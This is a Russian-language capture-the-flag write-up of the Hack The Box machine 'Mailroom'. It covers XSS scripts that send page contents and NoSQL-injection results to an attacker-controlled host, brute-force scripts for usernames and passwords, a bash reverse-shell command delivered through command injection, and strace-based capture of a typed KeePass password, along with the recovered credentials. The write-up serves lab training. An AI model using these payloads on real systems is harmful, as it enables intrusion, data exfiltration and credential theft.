Сложность: | Hard |
ОС: | Linux |
Баллы: | 40 |
IP: | 10.10.11.209 |
Теги | Code Review, XSS, NoSQL, System call interception |
После первичной разведки веб-приложения мы обнаруживаем потенциальные имена пользователей и исходный код одного из работающих сервисов. С помощью XSS в форме обратной связи и инъекции NoSQL получили учётные данные пользователя tristan. Затем через обнаруженную в исходном коде сервиса уязвимость инъекции команд получаем доступ в контейнер с сервисом. В нём обнаруживаем учётные данные пользователя matthew, получаем флаг и двигаемся горизонтально. В домашней директории этого пользователя обнаруживаем базу данных паролей kbdx и соответствующую ей утилиту kpcli, перехватываем ввод, анализируем и получаем мастер-пароль от базы данных. Получаем пароль и флаг пользователя root.
Проведём первичное сканирование цели:
nmap -sS -p- 10.10.11.209
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Просканируем более подробно: nmap -sVC -O -p22,80 10.10.11.209
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 94:bb:2f:fc:ae:b9:b1:82:af:d7:89:81:1a:a7:6c:e5 (RSA)
| 256 82:1b:eb:75:8b:96:30:cf:94:6e:79:57:d9:dd:ec:a7 (ECDSA)
|_ 256 19:fb:45:fe:b9:e4:27:5d:e5:bb:f3:54:97:dd:68:cf (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: The Mail Room
|_http-server-header: Apache/2.4.54 (Debian)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%)
Далее, просмотрим основные разделы страницы на предмет полезной информации:
Добавим домен в /etc/hosts
# HTB
10.10.11.209 mailroom.htb
Потенциальные имена внутренних пользователей сервиса: Tristan Pitt, Matthew Conley, Chris McLovin’, Vivien Perkins
Далее осуществим сканирование директорий и поддоменов доступных в сервисе на предмет полезного лута, для этого можем использовать gobuster, feroxbuster, fuff
или любой другой сканер на ваше усмотрение:
gobuster dir -u http://mailroom.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k
Результат скана с помощью gobuster
:
/assets (Status: 301) [Size: 313] [--> http://mailroom.htb/assets/]
/css (Status: 301) [Size: 310] [--> http://mailroom.htb/css/]
/template (Status: 403) [Size: 277]
/js (Status: 301) [Size: 309] [--> http://mailroom.htb/js/]
/javascript (Status: 301) [Size: 317] [--> http://mailroom.htb/javascript/]
/font (Status: 301) [Size: 311] [--> http://mailroom.htb/font/]
/server-status (Status: 403) [Size: 277]
Сканируем поддомены с помощью fuff
:
ffuf -u "http://mailroom.htb/" -H 'Host: FUZZ.mailroom.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 0,7748
Результат сканирования:
* FUZZ: git
* FUZZ: beta
Добавим также поддомены beta и git в файл hosts и разведуем их содержимое:
# HTB
10.10.11.209 mailroom.htb git.mailroom.htb beta.mailroom.htb
На первый взгляд beta.mailroom.htb ничем не отличается от mailroom.htb. git.mailroom.htb в свою очередь содержит исходный код некого сервиса и позволяет нам без каких-либо учётных данных получить понимание о частичном списке пользователей сервиса контроля версий Gitea (1.18.0).
Теперь, мы с большей уверенностью можем утверждать, что в системе есть пользователи tristan
и matthew
. Далее, можно беспрепятственно получить доступ к одному из репозиториев:
Просмотрим файлы и выделим части, которые могут нас заинтересовать:
http://git.mailroom.htb/matthew/staffroom/src/branch/main/auth.php
[…]
$client = new MongoDB\Client("mongodb://mongodb:27017"); // Connect to the MongoDB database
[…]
// Send an email to the user with the 2FA token
$to = $user['email'];
$subject = '2FA Token';
$message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
mail($to, $subject, $message);
[…]
http://git.mailroom.htb/matthew/staffroom/src/branch/main/inspect.php
[...]
$data = '';
if (isset($_POST['inquiry_id'])) {
$inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['inquiry_id']);
$contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");
[...]
Из auth.php
мы выяснили, что есть ещё один поддомен staff-review-panel.*
, используется СУБД mongodb, на котором включена 2FA. Из inspect.php
мы выяснили, что в коде есть уязвимость Command Injection, фильтры, установленные в функции preg_replace
легко обойти с помощью символа `
(backtick)
Добавим поддомен staff-review-panel.*
в файл hosts
Проверим контактную форму на наличие XSS, используем полезную нагрузку: 1<svg/onload=alert(1)>
Для того, что XSS отработала потребуется также нажать на:
Далее, используем следующий код для того, чтобы получить содержимое index.php
:
<script>var url = "http://staff-review-panel.mailroom.htb/index.php";
var attacker = "http://your_VPN_IP/dump";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "@" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);</script>
Перед инъекцией в параметр необходимо закодировать в URL и поднять http сервер c помощью: python3 -m http.server 80
Получаем на поднятый SimpleHTTP питон сервер закодированное для удобства передачи содержимое страницы index.php
Декодируем:
Полный код страницы:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<meta name="description" content="" />
<meta name="author" content="" />
<title>Inquiry Review Panel</title>
<!-- Favicon-->
<link rel="icon" type="image/x-icon" href="assets/favicon.ico" />
<!-- Bootstrap icons-->
<link href="font/bootstrap-icons.css" rel="stylesheet" />
<!-- Core theme CSS (includes Bootstrap)-->
<link href="css/styles.css" rel="stylesheet" />
</head>
<body>
<div class="wrapper fadeInDown">
<div id="formContent">
<!-- Login Form -->
<form id='login-form' method="POST">
<h2>Panel Login</h2>
<input required type="text" id="email" class="fadeIn second" name="email" placeholder="Email">
<input required type="password" id="password" class="fadeIn third" name="password" placeholder="Password">
<input type="submit" class="fadeIn fourth" value="Log In">
<p hidden id="message" style="color: #8F8F8F">Only show this line if response - edit code</p>
</form>
<!-- Remind Passowrd -->
<div id="formFooter">
<a class="underlineHover" href="register.html">Create an account</a>
</div>
</div>
</div>
<!-- Bootstrap core JS-->
<script src="js/bootstrap.bundle.min.js"></script>
<!-- Login Form-->
<script>
// Get the form element
const form = document.getElementById('login-form');
// Add a submit event listener to the form
form.addEventListener('submit', event => {
// Prevent the default form submission
event.preventDefault();
// Send a POST request to the login.php script
fetch('/auth.php', {
method: 'POST',
body: new URLSearchParams(new FormData(form)),
headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
}).then(response => {
return response.json();
}).then(data => {
// Display the name and message in the page
document.getElementById('message').textContent = data.message;
document.getElementById('password').value = '';
document.getElementById('message').removeAttribute("hidden");
}).catch(error => {
// Display an error message
//alert('Error: ' + error);
});
});
</script>
</body>
</html>
Проанализировав исходные файлы проекта в Gitea staff
мы можем обнаружить, что в коде присутствует NoSQL инъекция в параметры email и password.
Создаём для проверки NoSQL JS со следующим содержимым, поднимаем SimpleHTTP сервер и затем обращаемся к нему(иногда не срабатывает с первого запроса, приходится обращаться несколько раз через XSS в форме):
var http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function()
{
fetch("http://your_VPN_IP/out?" + encodeURI(btoa(this.responseText)));
};
http.send("email[$ne]=test@testy&password[$ne]=pass");
Вывод:
eyJzdWNjZXNzIjpmYWxzZSwibWVzc2FnZSI6IkludmFsaWQgaW5wdXQgZGV0ZWN0ZWQifXsic3VjY2VzcyI6dHJ1ZSwibWVzc2FnZSI6IkNoZWNrIHlvdXIgaW5ib3ggZm9yIGFuIGVtYWlsIHdpdGggeW91ciAyRkEgdG9rZW4ifQ==
Декодируем base64:
{"success":false,"message":"Invalid input detected"}
{"success":true,"message":"Check your inbox for an email with your 2FA token"}
Для перебора имени пользователя с помощью NoSQL инъекции воспользуемся следующим кодом:
async function callAuth(mail) {
var content = await fetch("http://staff-review-panel.mailroom.htb/auth.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded"
},
"body": "email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc",
"method": "POST"
}).then(function (res) {
return res.text();
});
return { d: mail, c: /"success":true/.test(content) }
}
function notify(pass) {
fetch("http://your_VPN_IP/out?"+pass, {});
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, mail) {
for (var i = 0; i < chars.length; i++) {
callAuth(chars[i]+mail).then(function (item) {
if (item.c) {
notify(item.d);
cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~", item.d);
}
});
}
}
cal(chars, "");
С помощью него мы получаем имя пользователя tristan
Аналогично для получения пароля через NoSQL создаём JS и поднимаем SimpleHTTP сервер:
async function callAuth(pass){
var http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function() {
if (/"success":true/.test(this.responseText)){
notify(pass);
cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~")
}
};
http.send("email=tristan@mailroom.htb&password[$regex]=^" + pass);
}
function notify(pass) {
fetch("http://your_VPN_IP/out?" + pass);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~"
function cal(chars, pass){
for (var i = 0; i < chars.length; i++) {
callAuth(pass + chars[i])
}
}
cal(chars, "");
Получили пароль: 69trisRulez!
Итоговые учётные записи для пользователя: tristan:69trisRulez!
Проверим, подходят ли эти учётные данные для ssh:
Мы успешно получили доступ к учётной записи одного из пользователей, но флаг находится в домашней директории другого пользователя — matthew
, доступа на чтение его файлов у текущего пользователя — нет.
Также, мы можем проверить код 2FA, который исходя из сообщения в консоли был отправлен нам в /var/mail/tristan
В дальнейшем мы можем использовать эту ссылку для доступа к сервисной панели.
Port-forwarding для доступа к панели: ssh -L 8008:127.0.0.1:80 tristan@mailroom.htb
После этого также не забываем добавить staff-review-panel.mailroom.htb
в файл hosts → 127.0.0.1
Ранее, при анализе кода в Gitea мы обнаружили возможность инъекции команд в параметр inquiry_id
, приступим к этой части. Поднимем SimpleHTTP сервер, который будет содержать код с реверс шеллом:
#!/bin/bash
bash -i >& /dev/tcp/your_VPN_IP/7331 0>&1
Также, для работы реверс шелла необходимо прописать права на исполнение: chmod +x /tmp/rs
Для получения реверс шелла: nc -nvlp 7331
Получили доступ в контейнер:
С помощью grep
ищем возможные конфигурационные файлы, содержащие учётные записи пользователя matthew
:
http://matthew:HueLover83%23@gitea:3000/matthew/staffroom.git
Получили учётные данные пользователя matthew, которые он применяет для подключения к сервису gitea на 3000 порте: matthew:HueLover83#
Используем этот пароль для смены учётной записи на matthew: su matthew
Получили флаг пользователя!
В домашней директории пользователя matthew
обнаружили файл personal.kbdx
Это база данных паролей утилиты менеджмента паролями Keepass
Файл версии 2.X. Публично доступные и рабочие CVE на данную утилиту завязаны на дампах памяти и/или уязвимостях, специфических для ОС Windows
Проверим активные процессы:
С помощью утилиты strace
можно отслеживать системные вызовы, самое важное для нас то, что с помощью неё возможно осуществить перехват и чтение системных вызовов между процессами и ядром ОС.
strace -p `ps -elf | grep -v 'pts' | awk '/kpcli/{print $4}'`
Проанализируем вывод, нас будут интересовать операции чтения:
read(0, "!", 8192) = 1
[...]
read(0, "s", 8192) = 1
[...]
read(0, "E", 8192) = 1
[...]
read(0, "c", 8192) = 1
[...]
read(0, "U", 8192) = 1
[...]
read(0, "r", 8192) = 1
[...]
read(0, "3", 8192) = 1
[...]
read(0, "p", 8192) = 1
[...]
read(0, "4", 8192) = 1
[...]
read(0, "$", 8192) = 1
[..]
read(0, "$", 8192) = 1
[...]
read(0, "w", 8192) = 1
[...]
read(0, "0", 8192) = 1
[...]
read(0, "1", 8192) = 1
Получаем, что сначала был введён пароль: !sEcUr3p4$$w01
Если проанализировать операции далее, то можно заметить, что вводится символ /10, соответствующий Backspace (ASCII code 8)
После удаления цифры 1 в пароле водятся ещё 3 символа:
read(0, "r", 8192) = 1
[...]
read(0, "d", 8192) = 1
[...]
read(0, "9", 8192) = 1
Итоговый пароль: !sEcUr3p4$$w0rd9
Проверим верность полученного пароля:
Успешно получили пароль пользователя root, а вместе с ним и флаг: